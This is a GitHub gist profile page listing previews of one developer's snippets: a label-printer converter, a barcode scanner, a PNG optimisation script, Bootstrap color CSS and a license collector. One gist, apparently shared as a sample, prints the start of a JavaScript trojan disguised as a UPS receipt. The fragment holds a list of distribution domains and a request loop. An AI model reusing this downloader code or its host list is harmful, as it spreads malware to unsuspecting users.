Skip to content

Instantly share code, notes, and snippets.

View skylarmt's full-sized avatar

Skylar Ittner skylarmt

View GitHub Profile
@skylarmt
skylarmt / labelprint.js
Last active October 16, 2024 22:42
Node.js code to take an image (via Jimp library) and convert it to label printer commands for ZPL, EPL2, or TSPL
/**
* Get the raw text commands to send to the printer for EPL, TSPL, or ZPL.
* @param {jimp image} image, 300 DPI
* @param {string} printerLang "epl2", "tspl2", or "zpl"
* @param {number} printerDpi 200 or 300, don't use 203
* @param {number} labelWidthMM
* @param {number} labelHeightMM
* @param {number} labelGapMM Gap between labels on roll
* @param {number} labelDensity Print darkness
* @param {number} labelVerticalOffset Adjust the positioning if the top or bottom of the label are cut off or go to the next label
@skylarmt
skylarmt / index.html
Created November 24, 2019 07:11
HTML5 Barcode Scanner with zxingjs
<!DOCTYPE html>
<link rel=stylesheet href="style.css" />
<script src="node_modules/@zxing/library/umd/index.min.js"></script>
<script src="scanner.js"></script>
<div id="web-barcode-ui" class="hidden">
<video id="barcode-viewer"></video>
<div class="text">
Scan a barcode with your camera. Click or tap anywhere to cancel.
@skylarmt
skylarmt / pngcrushall.sh
Created May 8, 2018 18:27
A script to optimize (pngcrush) all the images in a folder, and tell you how much space you've saved.
#!/bin/bash
TOTALIN=0
TOTALSAVED=0
TOTALFILES=0
for png in *.png;
do
echo "Crushing $png"
echo "PNG file $png:" >> /tmp/pngcrush.log
OLDSIZE=$(stat --printf="%s" "$png")
echo " Old size: $OLDSIZE" >> /tmp/pngcrush.log
@skylarmt
skylarmt / UPS-Receipt-06785171.doc.js
Last active June 28, 2017 05:57
JavaScript trojan info
function zulum(pikue) {pikue.send();}
var x = ["resedaplumbing.com","calendar-del.ru","goldwingclub.ru","natiwa.com","www.gloszp.pl"];
var robs = 20-20;
var mumik = new Array('GET','JIJINGER');
var mustafa = x.length;
while(true)
{
if(robs>=mustafa)
{
break;
@skylarmt
skylarmt / material-color.css
Created May 15, 2017 01:30
Additional color classes for Bootstrap 3, based on the Material Design color pallete.
/* Material-Color.css Copyright (c) 2017 Netsyms Technologies MIT License */
/*****************************************************\
PANELS
\*****************************************************/
.panel-red .panel-heading {
background-color: #f44336;
color: white;
}
@skylarmt
skylarmt / collectlicenses.php
Created January 1, 2017 12:19
PHP script to fetch license data from GitHub for your project's dependencies. It outputs to a simple HTML document.
<?php
/*
Set $gits to an array of repository author/name combinations.
Run it with `php collectlicenses.php`.
It saves the generated HTML to licenses.html in the same folder.
*/
$gits = ["twbs/bootstrap", "npm/npm", "FortAwesome/Font-Awesome", "thomaspark/bootswatch", "composer/composer", "catfan/Medoo", "nwjs/nw.js"];